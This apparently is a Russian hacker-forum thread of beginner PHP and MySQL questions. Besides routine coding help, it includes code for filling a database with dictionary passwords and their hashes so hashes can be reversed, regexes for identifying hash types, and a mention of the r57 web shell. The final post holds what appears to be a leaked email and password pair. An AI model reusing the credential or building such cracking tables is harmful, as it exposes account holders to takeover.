Просмотр полной версии : [php] Новичкам: задаем вопросы
-=lebed=-
18.12.2007, 18:34
chr(int) и возвращает символ соответствующий десятичному значению числа
Кароче аргументом может быть только десятичное целое?
И так я нечего не увижу?
$a='0x32';
echo chr($a);
Как быть тогда?
VampiRUS
18.12.2007, 18:38
вот выдрал функцию перевода хекс в акси
function hex2asc($str) {
$str = str_replace(" ", "", $str);
for ($n=0; $n<strlen($str); $n+=2) {
$newstring .= pack("C", hexdec(substr($str, $n, 2)));
}
return $newstring;
}
чтоб от кавычек избавится делай hexdec()
Кароче аргументом может быть только десятичное целое?
И так я нечего не увижу?
$a='0x32';
echo chr($a);
Как быть тогда?
Не надо добавлять 0x к числу и все будет Ok
VampiRUS
18.12.2007, 18:44
итого
<?php
$n=0;
$hash_code="";
$hash="30313233343536373839404142434445";
do
{
$code='0x'.$hash[$n].$hash[$n+1];
$hash_code.=chr(hexdec($code));
echo $n."<br>";
echo $code."<br>";
echo chr(hexdec($code))."<br>";
echo $hash_code."<br>";
$n++;
}
while ($n++<31)
?>
НЕТ, так.
<?php
$n=0;
$hash_code="";
$hash="30313233343536373839404142434445";
do
{
$code=$hash[$n].$hash[$n+1];
$hash_code.=chr($code);
//echo $n."<br>";
//echo $code."<br>";
echo chr($code)."<br>";
//echo $hash_code."<br>";
$n++;
}
while ($n++<31)
?>
ИЛИ, еще лучше, так.
<?php
$n=0;
$hash_code="";
$hash="30313233343536373839404142434445";
for($n=0;$n<strlen($hash);$n+=2)
{
$code=substr($hash,$n,2);
$hash_code.=chr($code);
//echo $n."<br>";
//echo $code."<br>";
echo chr($code)."<br>";
//echo $hash_code."<br>";
}
?>
VampiRUS
18.12.2007, 18:55
не Macro, как я понял нужно было как раз из хекса в аски
-=lebed=-
18.12.2007, 18:55
теперь мд5 хэши в таблице мускула займут не 32 байта на поле, а всего 16 (что в два раза меньше), кроме того поиск будет осуществляться быстрее...
-=lebed=-
18.12.2007, 18:57
не Macro, как я понял нужно было как раз из хекса в аски
Ога, именно так...
Я все проверил, мой код прелестно работает. А функция chr возвращает ascii код hex значения ;)
Вот ловите
<?
function hex2string($hex)
{
$decoded='';
for($i=0;$i<strlen($hex);$i+=2)
{
$decoded.=chr(substr($hex,$i,2));
}
return $decoded;}
echo(hex2string('3332353637383940'));
?>
astrologer
18.12.2007, 19:38
Если в базе только проверенные данные:
echo preg_replace('/(\d{2})/e', 'chr(\1)', '3332353637383940');
Если в базе только проверенные данные:
echo preg_replace('/(\d{2})/e', 'chr(\1)', '3332353637383940');
Ты не прав ибо HEX подразумевает цифры и буквы от a до f
Однако, мысль отличная.
<?
$str='3334353637383940';
echo(preg_replace('/([\da-f]{2})/ie', 'chr(\1);',$str));
?>
ЗЫ что-то я сегодня плохо соображаю
astrologer
18.12.2007, 19:49
Ты не прав ибо HEX подразумевает цифры и буквы от a до f
И, потом, будет лишь выводиться "chr(33)", например, а нам нужен результат функции chr().
функция chr принимает только целые числа
-=lebed=-
18.12.2007, 21:13
я так понял, функция chr принимает только целые ДЕСЯТИЧНЫЕ значения в качестве аргумента, с целыми в хексе она не работает, так что код Macro выводит не тот результат, что требуется. Так как входная строка (точнее пары символов) - она предполагается в хексе (это хэш вообще-то с набором символов 0-9a-f), а не коды символов в десятичном виде.
т.е 30313233343536373839404142434445 -> !"#$%&'()*+,-
а вообще-то надо:
30313233343536373839404142434445 -> 0123456789@ABCDE
так как 0x30 это 0, 0x31 - 1 и т.д. так что VampiRUS прав, надо преобразовывать в десятичный вид аргумент, прежде чем скормить chr его.
ЗЫ Вопрос решён принципе, но может есть ещё более изящное и оптимальное решение? ;)
-=lebed=-
18.12.2007, 21:42
Ну и теперь два вопроса:
1. Реально ли в мускуле хранить такие строки (в том числе и с непечатаемыми служебными символами с кодами 0-255) ?
2. С обратным преобразованием не будет проблем?
astrologer
18.12.2007, 21:43
ЗЫ Вопрос решён принципе, но может есть ещё более изящное и оптимальное решение? ;)
моё не подойдёт? (Под редакцией Macro, конечно)
Надо только "0x" дописать было:
<?php
echo preg_replace('/([A-F\d]{2})/ie', 'chr(0x\1)', '30313233343536373839404142434445');
?>
Выдает требуемое:0123456789@ABCDE
-=lebed=-
18.12.2007, 21:59
моё не подойдёт? (Под редакцией Macro, конечно)
Надо только "0x" дописать было:
<?php
echo preg_replace('/([A-F\d]{2})/ie', 'chr(0x\1)', '30313233343536373839404142434445');
?>
Выдает требуемое:0123456789@ABCDE
Первоначальные данные всё же только цифровые или нет?
Входные данные это любой мд5 хэш (32 символа 0-9a-z), т.е 32 байта в ASCII представлении, задача: его закодировать в 16 байт, в heх, так как md5-хэш на самом деле это ничто иное как HEX-число в 16 байт.
Ну пиши, в чём проблема? Тема называется "php Новичкам: задаем вопросы" а не "php Халявщикам: пишем переводчики" ;)
Мой те совет юзай promt.ru или другой веб переводчик, посылай туда свой запрос, результат выводи на сайте (работа с сокетами), нарушение авторских прав и т.д. но это токо совет, решать тебе :)
Я наверное не совсем так выразился.Мне не нужен именно переводчик. Мне нужно ятоб например юзер вводить в форме: r57а ему в ответ - Шелл.Последнея версия...Сайт. Думаю понял.
Я хотел сделать файл типа base.php
<?
$slova = array(
'r57'=>'Шелл.Последняя версия'
'qwe'=>'qwe'
);
?>
Мне нужна функция, котороя б брала слова из етого файла и "переводила их"
Я наверное не совсем так выразился.Мне не нужен именно переводчик. Мне нужно ятоб например юзер вводить в форме: r57а ему в ответ - Шелл.Последнея версия...Сайт. Думаю понял.
Я хотел сделать файл типа base.php
<?
$slova = array(
'r57'=>'Шелл.Последняя версия'
'qwe'=>'qwe'
);
?>
Мне нужна функция, котороя б брала слова из етого файла и "переводила их"
создаёшь таблицу в бд и всё.стукай в аську(на авике) помогу
-=lebed=-
18.12.2007, 22:55
Теперь нужна функция обратного преобразования этой:
function code_hash($hash)
{
include('conf.php');
$n=0;
$hash_code="";
do
{
$code='0x'.$hash[$n].$hash[$n+1];
$hash_code.=chr(hexdec($code));
$n++;
}
while ($n++<31);
return $hash_code;
}
function decode_hash($string)
{
$n=0;
$decode_hash="";
do
{
$code=ord($string[$n]);
$decode_hash.=dechex($code);
}
while ($n++<15);
return $decode_hash;
}
Ded MustD!e
18.12.2007, 23:17
Нужно написать скрипт, который будет рисовать график функции y=a*x^2+b*x+c, значения a,b,c задаются с клавиатуры. Сетку я сделал, обычную параболу вывести могу, но не понимаю как задать нужную функцию и коэффициенты вручную.
Как работает: http://mytesterphp.h18.ru/graph.php
Код:
<?php
include ("src/jpgraph.php");
include ("src/jpgraph_line.php");
include ("src/jpgraph_utils.inc.php");
$f = new FuncGenerator('$x*$x');
list($x1data,$y1data) = $f->E(-5,5);
$graph = new Graph(550,450,"auto");
$graph->SetScale("linlin");
$graph->SetShadow();
$graph->img->SetMargin(50,50,60,40);
$graph->SetBox(true,'darkgreen',2);
$graph->SetMarginColor('white');
$graph->SetColor('lightyellow');
$graph->title->Set('ax^2+bx+c=0');
$graph->title->SetFont(FF_FONT1,FS_BOLD);
$graph->xgrid->Show();
$graph->yaxis->SetPos(0);
$graph->yaxis->SetWeight(2);
$graph->yaxis->HideZeroLabel();
$graph->yaxis->SetFont(FF_FONT1,FS_BOLD);
$graph->yaxis->SetColor('darkgreen','darkblue');
$graph->yaxis->HideTicks(true,false);
$graph->yaxis->HideFirstLastLabel();
$graph->xaxis->SetWeight(2);
$graph->xaxis->HideZeroLabel();
$graph->xaxis->HideFirstLastLabel();
$graph->xaxis->SetFont(FF_FONT1,FS_BOLD);
$graph->xaxis->SetColor('darkgreen','darkblue');
$lp2 = new LinePlot($y1data,$x1data);
list($xm,$ym)=$lp2->Max();
$lp2->SetColor('orange');
$lp2->SetWeight(2);
$graph->Add($lp2);
$graph->Stroke();
?>
MisteriX
18.12.2007, 23:43
Вот, немного нетуда запостил... Вот вопрос: http://forum.antichat.ru/showthread.php?p=532773
-=lebed=-
19.12.2007, 02:18
Вот сделал функцию для распознавания типа хэша (пока только 4, точнее 3, так как хэши MySQL5 и SHA-1 неотличимы).
function type_hash($string)
{
if (ereg('^([a-fA-F0-9]{16})$', $string)) return 1; // MySQL
if (ereg('^([a-fA-F0-9]{32})$', $string)) return 2; // MD5
if (ereg('^([a-fA-F0-9]{40})$', $string)) return 3; // MySQL5 или SHA-1
return 0; // неизвестен
}
1.Как сделать тоже самое, используя функцию preg_match?
2. Помогите с регулярками для определения типов хэшей:
DES (пример:HlXOX8MN5z4X6),
MD5 (Unix) $1$$uqbusDeGY2YWqg.T2S1100
MD5(APR) $apr1$$kRqAZHnuzcwDL84Mm7oc1.
MD5(Base64) Gh3JHJBzJcaScd3wyUS8cg==
SHA-1 (Base64) NU4eI71bcnBGqeO0t9tXvY1u5oQ=
presidentua
19.12.2007, 02:59
Вот сделал функцию для распознавания типа хэша (пока только 4, точнее 3, так как хэши MySQL5 и SHA-1 неотличимы).
function type_hash($string)
{
if (ereg('^([a-fA-F0-9]{16})$', $string)) return 1; // MySQL
if (ereg('^([a-fA-F0-9]{32})$', $string)) return 2; // MD5
if (ereg('^([a-fA-F0-9]{40})$', $string)) return 3; // MySQL или SHA-1
return 0; // неизвестен
}
1.Как сделать тоже самое, используя функцию preg_match?
2. Помогите с регулярками для определения типов хэшей:
DES (пример:HlXOX8MN5z4X6),
MD5 (Unix) $1$$uqbusDeGY2YWqg.T2S1100
MD5(APR) $apr1$$kRqAZHnuzcwDL84Mm7oc1.
MD5(Base64) Gh3JHJBzJcaScd3wyUS8cg==
SHA-1 (Base64) NU4eI71bcnBGqeO0t9tXvY1u5oQ=
1.
if (preg_match("/^([a-fA-F0-9]{16})$/",$string)) echo 'MySQL ';
if (preg_match("/^([a-fA-F0-9]{32})$/",$string)) echo 'MD5 ';
if (preg_match("/^([a-fA-F0-9]{40})$/",$string)) echo 'MySQL или SHA-1';
2.
также как ты и делал, только те символы что не изменяются просто вводишь (только перед доларом надо постави "\" )
итак пример для
MD5(APR) $apr1$$kRqAZHnuzcwDL84Mm7oc1.
/^\$arp1\$\$[a-zA-Z0-9]{21}$/
ПС:для написания и отладки регулярных выражений можно использовать специальные прожки, например, VisualREGEXP и The Regex Coach
-=lebed=-
19.12.2007, 12:37
Вот способ как запросить из мускула MySQL хэш:
$query = "SELECT PASSWORD('".$pass."')";
$r = mysql_query($query);
$rq = mysql_fetch_array($r);
$hash = $rq[0]; //МуSQL хэш
Я так понял, что если Мускул <5 это будет хэш (0-9a-z {8})
а если MySQL5 то хэш будет (0-9a-z {40})
Теперь вопрос: Как независимо от версии Мускула получать хэши MySQL и MySQL5 от какого либо значения? Т.е. может есть готовые функции хэширования на PHP, независящие от мускула и не обращающеся к нему?
Ну типа как в встроенных функциях PHP md5(), sha1()
ЗЫ Чё? так никто и не знает как в Мускуле <5 вычислить хэш Mysql5 ?
Видел где-то что sha1(sha1(password)) это и есть MySQL(password) это так ? Щас проверю сам... неправда
presidentua
19.12.2007, 18:04
Я наверное не совсем так выразился.Мне не нужен именно переводчик. Мне нужно ятоб например юзер вводить в форме: r57а ему в ответ - Шелл.Последнея версия...Сайт. Думаю понял.
Я хотел сделать файл типа base.php
<?
$slova = array(
'r57'=>'Шелл.Последняя версия'
'qwe'=>'qwe'
);
?>
Мне нужна функция, котороя б брала слова из етого файла и "переводила их"
Это ты же создаешь именной масив. для того чтобы взять значение из него пиши: echo $slova['r57'];
Вот способ как запросить из мускула MySQL хэш:
$query = "SELECT PASSWORD('".$pass."')";
$r = mysql_query($query);
$rq = mysql_fetch_array($r);
$hash = $rq[0]; //МуSQL хэш
Я так понял, что если Мускул <5 это будет хэш (0-9a-z {8})
а если MySQL5 то хэш будет (0-9a-z {40})
Теперь вопрос: Как независимо от версии Мускула получать хэши MySQL и MySQL5 от какого либо значения? Т.е. может есть готовые функции хэширования на PHP, независящие от мускула и не обращающеся к нему?
Ну типа как в встроенных функциях PHP md5(), sha1()
ЗЫ Чё? так никто и не знает как в Мускуле <5 вычислить хэш Mysql5 ?
Видел где-то что sha1(sha1(password)) это и есть MySQL(password) это так ? Щас проверю сам... неправда
Вместо PASSWORD двойной SHA1 использовался только в одном буилде мускула, а именно MySLQ 5.0.27
Red_Red1
19.12.2007, 19:56
2 -=lebed=-
<?
echo sha1(sha1('mypass',1));
?>
Про это узнал вот тут http://www.wasm.ru/forum/viewtopic.php?pid=203131#p203131
Обрати внимание на слова
Второй раз нужно хешировать _бинарные_ данные.
Проверил на ПассвордПро
sha1('mypass') = e727d1464ae12436e899a726da5b2f11d8381b26
MySQL5('mypass') = 6c8989366eaf75bb670ad8ea7a7fc1176a95cef4
echo sha1(sha1('mypass',1)); >>> 6c8989366eaf75bb670ad8ea7a7fc1176a95cef4
Весь прикол в НЕОБЯЗАТЕЛЬНОМ параметре sha1. Нашел тут http://delaysayt.ru/sha1-vozvraschaet-sha1-hesh-stroki.html
Думаю это то что тебе нужно :)
-=lebed=-
19.12.2007, 21:48
проверил, пашет! хэши скрипт от mypass выдаёт правильные.
Хэш MySQL:6f8c114b58f2ce9e
Хэш MD5:a029d0df84eb5549c641e04a9ef389e5
Хэш SHA1:e727d1464ae12436e899a726da5b2f11d8381b26
Хэш MySQL5:6c8989366eaf75bb670ad8ea7a7fc1176a95cef4
Но вот трабла при занесении в таблицу после преобразования этих хэшей, запрос вида:
INSERT INTO passwd_hash (`passwd`,`code1`,`code2`,`code3`,`code4`) VALUES ('mypass','oЊKXтОћ',' )РЯ„лUIЖAаJћу‰е','з'СFJб$6и™§&Ъ[/Ш8&','l‰‰6nЇu»g ШкzБj•Оф')
Выдаёт ошибку синтаксиса, так как после кодирования хэшей всплыли спецсимволы.
Какой тип данных поставить для полей, чтоб можно было хранить строку из любых символов (0-ff)
Напомню, мне нужно хранить (записывать) хэши в таблице(у) не в ASCII представлении, а в виде последовательности любых байтов, т.е в hex чтоб размер поля был в два раза меньше, т.е 8, 16, 20 байт для каждого типа хэша соответствено.
Использовал типы данных binary(8), binary(16), binary(20), binary(20) - непрокатывает запрос!
Тип bigint - 8 байт, подойдёт только для хранения хэша MySQL, а что делать с остальными (делить на столбцы не хотелось бы).
ЗЫ Даже тут видно, что запрос испортила всплывшая одинарная ковычка, в коде одного из хэшей. ;)
varchar(8), varchar(16), varchar(20)
и прогоняй значения перед вставкой через mysql_escape_string(), она заэкранирует все спецсимволы, но мускул поймет все правильно
ЗЫ еще как вариант BLOB, но так как поле динамическое возникнут траблы с быстродействием
-=lebed=-
19.12.2007, 22:11
varchar(8), varchar(16), varchar(20)
и прогоняй значения перед вставкой через mysql_escape_string(), она заэкранирует все спецсимволы, но мускул поймет все правильно
ЗЫ еще как вариант BLOB, но так как поле динамическое возникнут траблы с быстродействием
BLOB не пойдёт, но ведь и тип varchar имеет динамический размер?! мне надо чтоб хэш занимал в таблице ровно столько байт, сколько на него реально нужно...
Up: вопрос решён, символы экранирования не записываются в столбцы таблицы, размер остаётся верный, исп. тип Binary.
varchar имеет фиксированный размер (не зря он в скобках указан=)).
Днамические поля - это TEXT, BLOB и производные
-=lebed=-
19.12.2007, 23:08
Типы данных CHAR и VARCHAR очень схожи между собой, но различаются по способам их хранения и извлечения.
В столбце типа CHAR длина поля постоянна и задается при создании таблицы. Эта длина может принимать любое значение между 1 и 255 (что же касается версии MySQL 3.23, то в ней длина столбца CHAR может быть от 0 до 255). Величины типа CHAR при хранении дополняются справа пробелами до заданной длины. Эти концевые пробелы удаляются при извлечении хранимых величин.
Величины в столбцах VARCHAR представляют собой строки переменной длины. Так же как и для столбцов CHAR, можно задать столбец VARCHAR любой длины между 1 и 255. Однако, в противоположность CHAR, при хранении величин типа VARCHAR используется только то количество символов, которое необходимо, плюс один байт для записи длины. Хранимые величины пробелами не дополняются, наоборот, концевые пробелы при хранении удаляются (описанный процесс удаления пробелов отличается от предусмотренного спецификацией ANSI SQL).
http://www.phpclub.ru/mysql/doc/char.html - врут?
Ну мы немного не о том говорили.
В чем разница между статическими типами и динамическими и откуда тормоза?
При построении таблицы выборки MySQL должен узнать размеры памяти, которую необходимо выделить под определенный столбец.
При использовании статических типов эта величина заранее известна из описания структуры и каждый раз не перепроверяется.
При мспользовании динамических полей заранее неизвестна длина самого большого поля в строке, поэтому мусткулу приходится "пробежаться" по всем значениям, дабы узнать максимальную длину и выделить соответсятвующий объем памяти для каждой ячейки в столбце.
Вот это время и есть критично.
Разница между char и varchar:
При построении таблицы выборки для char(N) и для varchar(N) выделяется равный размер памяти, который берется из описания структуры таблицы.
Разница этих типов в представлении данных таблицы на диске: varchar займет меньше места на диске, т.к. используется только то количество символов, которое необходимо, плюс один байт для записи длины.
Но если у тебя в базе длины всех значений в столбце одинаковы, то разницы между char и varchar ты никакой не увидишь.
-=lebed=-
20.12.2007, 01:08
Ну мы немного не о том говорили.
В чем разница между статическими типами и динамическими и откуда тормоза?
При построении таблицы выборки MySQL должен узнать размеры памяти, которую необходимо выделить под определенный столбец.
При использовании статических типов эта величина заранее известна из описания структуры и каждый раз не перепроверяется.
При мспользовании динамических полей заранее неизвестна длина самого большого поля в строке, поэтому мусткулу приходится "пробежаться" по всем значениям, дабы узнать максимальную длину и выделить соответсятвующий объем памяти для каждой ячейки в столбце.
Вот это время и есть критично.
Разница между char и varchar:
При построении таблицы выборки для char(N) и для varchar(N) выделяется равный размер памяти, который берется из описания структуры таблицы.
Разница этих типов в представлении данных таблицы на диске: varchar займет меньше места на диске, т.к.
Но если у тебя в базе длины всех значений в столбце одинаковы, то разницы между char и varchar ты никакой не увидишь.
Всё, разобрался! поставил тип varbinary(32) на поле пароль (так phpMyadmin отображает). Тормозов быть не должно...
Вот сделал функцию для распознавания типа хэша (пока только 4, точнее 3, так как хэши MySQL5 и SHA-1 неотличимы).
function type_hash($string)
{
if (ereg('^([a-fA-F0-9]{16})$', $string)) return 1; // MySQL
if (ereg('^([a-fA-F0-9]{32})$', $string)) return 2; // MD5
if (ereg('^([a-fA-F0-9]{40})$', $string)) return 3; // MySQL5 или SHA-1
return 0; // неизвестен
}
1.Как сделать тоже самое, используя функцию preg_match?
2. Помогите с регулярками для определения типов хэшей:
DES (пример:HlXOX8MN5z4X6),
MD5 (Unix) $1$$uqbusDeGY2YWqg.T2S1100
MD5(APR) $apr1$$kRqAZHnuzcwDL84Mm7oc1.
MD5(Base64) Gh3JHJBzJcaScd3wyUS8cg==
SHA-1 (Base64) NU4eI71bcnBGqeO0t9tXvY1u5oQ=
для MD5(Base64) и SHA-1 (Base64) даже придумывать ничего не надо поидее:
function type_hash($string)
{
if (ereg('^([a-fA-F0-9]{16})$', $string)) return 1; // MySQL
if (ereg('^([a-fA-F0-9]{32})$', $string)) return 2; // MD5
if (ereg('^([a-fA-F0-9]{40})$', $string)) return 3; // MySQL5 или SHA-1
if (ereg('^([a-fA-F0-9]{32})$', base64_decode($string))) return 4;// MD5(Base64)
if (ereg('^([a-fA-F0-9]{40})$', base64_decode($string))) return 5; //SHA-1 (Base64)
return 0; // неизвестен
}
Theraphy
20.12.2007, 08:38
Здравствуйте,
можете подсказать решение данного вопроса,мне интересно такое как:
1) Скрипт вычисления айпи
2) Скрипт вычисления айпи+город,тоесть в одной игре в инфе у каждого человека АВТОМАТИЧЕСКИ пишется его город по его айпи и т.д,например
Реальное местонахождение: Russian Federation (Yuzhno-Sakhalinsk
Здравствуйте,
можете подсказать решение данного вопроса,мне интересно такое как:
1) Скрипт вычисления айпи
2) Скрипт вычисления айпи+город,тоесть в одной игре в инфе у каждого человека АВТОМАТИЧЕСКИ пишется его город по его айпи и т.д,например
Реальное местонахождение: Russian Federation (Yuzhno-Sakhalinsk
ну вот скрипт вычесления:
<?php
echo $_SERVER['REMOTE_ADDR'];
?>
а с городом даже не знаю как сделать...можно обращаться к камоу-нить cmyip...
Здравствуйте,
можете подсказать решение данного вопроса,мне интересно такое как:
2) Скрипт вычисления айпи+город,тоесть в одной игре в инфе у каждого человека АВТОМАТИЧЕСКИ пишется его город по его айпи и т.д,например
Реальное местонахождение: Russian Federation (Yuzhno-Sakhalinsk
это вычисляется через GeoIP я выкладывал ссылки для установки, вот еще раз.
http://www.maxmind.com/download/geoip/database/LiteCity.dat.gz - это сама база(городов)
http://www.maxmind.com/app/installation?city=1 - это как устанавливать
http://www.maxmind.com/app/city#api - вот тут ихнее API чтобы работать с базой
http://www.maxmind.com/download/geoip/api/php/ - тут руководство и скрипты для работы с базой на ПХП
orcismylife
20.12.2007, 20:39
Можно ли при отсылке множества форм автоматически заполнять этот раздел?
<form name=abc action="" method="post" enctype="multipart/form-data" name="upload">
Файл:
<input type="file" />
<input type="submit" name="Submit" value="Загрузить файл" />
</form>
Вроде на value='.$file.', ни подобные вещи не помогают...
Как автоматически вставлять значение в это поле?
<input type=hidden name="abc" value="bla-bla">
orcismylife
20.12.2007, 20:57
<input type=hidden name="abc" value="bla-bla">
Нет, с value почему-то не работает, я же написал. Пробовал и с type=text, и с другими тайпами, не помогает. Попробуйте сначала у себя на локалхосте оттестить, а потом пишите ;)
ты хочешь, чтобы несколько файло сразуже зааплодить?
orcismylife
20.12.2007, 21:03
"ты хочешь, чтобы несколько файло сразуже зааплодить?"
так точно
Помойму надо несколько инпутов только разные имена...
orcismylife
20.12.2007, 21:07
"Помойму надо несколько инпутов только разные имена..."
Да хоть что. Главное - заполнить значением поле загрузки файла. А заполнять автоматически я его не могу :/
Да хоть что. Главное - заполнить значением поле загрузки файла. А заполнять автоматически я его не могу :/
Так и не понял тебя... То ты хочешь сразу несколько файлов, то "заполнить значением поле загрузки файла"... =\ Когда нажимаешь "обзор" он же сам заполняет поле Oo
astrologer
20.12.2007, 21:16
Главное - заполнить значением поле загрузки файла.
Этого сделать нельзя. И не нужно.
orcismylife
20.12.2007, 21:20
Так и не понял тебя... То ты хочешь сразу несколько файлов, то "заполнить значением поле загрузки файла"... =\ Когда нажимаешь "обзор" он же сам заполняет поле Oo
Я отправляю несколько форм сразу. Для того, чтобы отправить файл, мне нужно АВТОМАТИЧЕСКИ заполнить эту форму (а не нажатием на кнопку обзор). Как это сделать, я и спрашиваю.
-=lebed=-
21.12.2007, 12:17
Как в MySQL5+PHP получить хэш в старом виде, т.е. простой MySQL ?
ЗЫ в MSQL <5 функция PASSWORD() вычисляет 64 битный хэш MySQL
В MySQL5 уже 160 битный... обратная совместимость должна ведь быть? Может параметр какой у функции Password() появился?
groundhog
21.12.2007, 12:20
OLD_PASSWORD(...)?
З.Ы. http://ftp2.uk.vim.org/sites/ftp.mysql.com/doc/refman/5.1/en/encryption-functions.html
З.Ы.Ы. http://ftp2.uk.vim.org/sites/ftp.mysql.com/doc/refman/5.1/en/password-hashing.html
функция gethostbyname показывает ип не у всех сайтов,так и должно быть?
.:EnoT:.
21.12.2007, 17:43
функция gethostbyname показывает ип не у всех сайтов,так и должно быть?
должен показывать
<?php
$name = "www.site.ru";
$ip = gethostbyname($name);
echo"$ip";
?>
groundhog
21.12.2007, 17:49
...функция gethostbyname показывает ип не у всех сайтов,так и должно быть?
Demetra, некторых сайтов нету в кеше твоего DNS-сервера, вернее, не твоего, а через который резолвит функция. То есть тут системно-администраторская проблема, а не кодерская...
а как исправить?или это от меня независит?
то же самое и с gethostbyaddr?
то же самое и с gethostbyaddr?
Ну да. А исправить можно пользуясь внешними утилитами
а что можна применить чтоб при непривильном вводе(намерена) юзера отослать нафиг.конвентирую ип в адрес спецальна ввожу буквы высвечивает ошибку и показывает все папки мои
Theraphy
22.12.2007, 02:52
для scrat и XopoIII
спасибо за помощь,я вам балы поднял)но оно почему то не поднялось((( если что нетак ссори=)
а что можна применить чтоб при непривильном вводе(намерена) юзера отослать нафиг.конвентирую ип в адрес спецальна ввожу буквы высвечивает ошибку и показывает все папки мои
if(!preg_match('/^([\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3})$/',$ip)){die('Удачной дороги нафиг!');}
groundhog
22.12.2007, 13:16
Demetra, а кто показывает папки? Твой скрипт? Покажи исходник - разберёмся...
Alekzzzander
22.12.2007, 20:15
народ, кто может, выложите пожалуйста ихсрдники нормальных и корректно работающих чатов
Здравствуйте! В данный момент времени я страдаю одной проблемой и думаю, что именно здесь мне помогут)))
Имеется форма, в которую из базы подгружаются данные для редактирования!
В таком виде форма работала, но я так же добавил ссылки на всплывающие pop-up, в которых происходит дополнительное редактирование!
Рассмотрим на примере создания записей:
Предположим в общей форме мы имеем ряд уже созданных записей, а так же поля для создания новой записи!
Если мы кликнем на одной из записей, то в открывшемся окне мы можем отредактировать данные по данной записи.
После нажатия кнопки "сохранить" данные в базе обновятся, так же обновиться страница с общей формой и мы увидим изменённую запись.
Но!!!!!!!!!!!!! Если мы сначала создадим запись, а потом приступим к редактированию, то возникают проблемы!
Помимо редактирования существующей записи - создаются новые записи, подобные ранее созданной записи!
Если выйти из формы и войти снова, то редактирование записей снова происходит без проблем!
xRySt, Ты исходники пле покажи!
.:EnoT:.
23.12.2007, 06:41
народ, кто может, выложите пожалуйста ихсрдники нормальных и корректно работающих чатов
Эх, а в гугл залезть не судьба....
Вот пару ссылок. Чатов там выбирай не хочу:
http://forum.ru-board.com/topic.cgi?forum=24&topic=1060
http://www.internet-technologies.ru/scripts/category_30.html
http://scripts.protoplex.ru/scripts_group/40.html
Macro,большое спосибо,то что надо было,почти работает
Macro,большое спосибо,то что надо было,почти работает
:eek: Не понял, что значит почти?
-=lebed=-
25.12.2007, 13:01
Вот написал скрипт читает строки слов из файла словаря и заностит в таблицу:
<?
include('conf.php');
include('checkpass.php');
include('function.php');
ignore_user_abort(1);
set_time_limit(0);
$fd = fopen("./dict.txt", "r");
$unical = 0;
$nonunical = 0;
if(!$fd)
{
return "Fill 'dictionary_file' field!";
}
else
{
while(!feof($fd))
{
$pass = str_replace("\r\n","", fgets($fd));
if (add_pass_noncheck($pass)) $unical++;
else $nonunical++;
}
echo "добавлено уникальных: ".$unical." паролей <br>";
echo "не уникальных: ".$nonunical." паролей <br>";
}
fclose($fd);
?>
Почему-то скрипт не обрабатывает файл до конца, т.е в файле 50 тыс. строк, а скрипт заносит в таблицу например 12 тыс. и прекращает работу. В чём трабл? Есть глобальные переменные ограничивающие время работы скрипта или дело в колличестве запросов к Мускулу в един. времени (в add_pass_noncheck($pass) там запросы к MySQL)?
ЗЫ На Локалхосте всё пашет без проблем, на серваке нет...
Вот нашёл ответ:
set_time_limit() не действует, если PHP запущен в режиме safe mode. Нет иного выхода, кроме отключения safe mode или изменения лимита времени в файле конфигурации.
А как решить другим путём? Разбить на несколько скриптов и разбить файл словарей на неск. частей?
И почему тогда этот скрипт:
<?php
include('conf.php');
include('checkpass.php');
include('function.php');
$dl=true;
if (isset($_POST['ta']))
{
$tmp=$_POST['ta'];
$r = explode("\r\n", $tmp);
$add=0;
$nadd=0;
foreach ($r as $pass)
{
$query = "SELECT `passwd` from ".$db_table." WHERE `passwd`='".$pass."'";
$r=mysql_query($query);
if (!debugS($dl))
{
if(!mysql_num_rows($r) and check($pass))
{
$k=add_pass($pass);
debugS($dl);
$add++;
}
else $nadd++;
}
}
echo "уникальных паролей добавлено в базу: <b>".$add."</b>\r\n неуникальных паролей: <b>".$nadd."</b>\r\n спасибо.<br>";
}
?>
читающий пассы из Post-массива работает нормально без ограничений по времени?
попробуй в папке со скриптом создать .htaccess и в нем пропиши:
php_max_execution_time = 0
хотя не уверен что так получится
2lebed
Есть подозрение, что у тебя при каждом добавлении в базу идет подключение и отключение после. Я прав?
-=lebed=-
25.12.2007, 15:25
2lebed
Есть подозрение, что у тебя при каждом добавлении в базу идет подключение и отключение после. Я прав?
Инклудится conf.php, а там:
<?php
$db_host = 'localhost';
$db_name = 'database';
$db_table ='passwd_hash';
$db_login ='root';
$db_pass = '';
$link = mysql_connect($db_host, $db_login, $db_pass) or die("Could not connect");
mysql_select_db($db_name) or die("Could not select database");
?>
это из-за этого ? в вызываемой функции add_pass($pass) есть инклуд conf.php - это точно из-за него!
Тогда отдельно инкулудить переменные и подключение к базе ?
глобализуй в функции переменные, не зачем снова инклудить conf.php
-=lebed=-
25.12.2007, 15:55
глобализуй в функции переменные, не зачем снова инклудить conf.php
прописал:
global $db_table;
больше другие переменные в функции не используются...
ЗЫ щас затестю...
Не помогло!
Здрасти помогите пожалуста с кодом.
Дело в том что нужно додать новий товар в конкретную категорию.
Я хочу зделать так чтоб категорію можно было выбрать из списка SELECT.
Вот код:
<?
include "../config.php";
$query = mysql_query("SELECT count(idtovar) as idt FROM tovar");
while($row = mysql_fetch_array($query))
$idt=$row['idt'];
echo "<select name=categ>";
{
for ($i=1;$i<=$idt;$i++)
echo "<option value=$idt>";
$query = mysql_query("SELECT tovar_name FROM tovar");
while($row = mysql_fetch_array($query))
$tovar_name = $row['tovar_name'];
{
echo $tovar_name;
}
echo "</option>";
}
echo "</select>";
?>
проблема в том что выводит количество полей верно но не выводит название категории в SELECT. =\
в чом проблема, где ошыбка, если можете помогите.
VampiRUS
25.12.2007, 16:49
проблема в вот в чём
for ($i=1;$i<=$idt;$i++)
echo "<option value=$i>";
то вообще сам алгоритм лучше переделать,
получать количество записей не нужно, а сразу во время получения и создавать селект
примерно так(не тестил):
$i=0;
echo "<select name=categ>";
$query = mysql_query("SELECT tovar_name FROM tovar");
while($row = mysql_fetch_array($query))
{
echo '<option value='.($i++).'>';
echo $row['tovar_name'];
echo "</option>";
}
echo "</select>";
блин народ с помощью чего можно залить базу весом 100метров?=(
блин народ с помощью чего можно залить базу весом 100метров?=(
Вот с помощью этого :) Там встроен Sypex dumper
http://slil.ru/25248390
Доброго времени суток.
Возникла потребность в сортировке базы, база слудующего вида:
Back Apply for this job
Apply for this job aaurel1an@yahoo.com:Haburica
Back Apply for this job
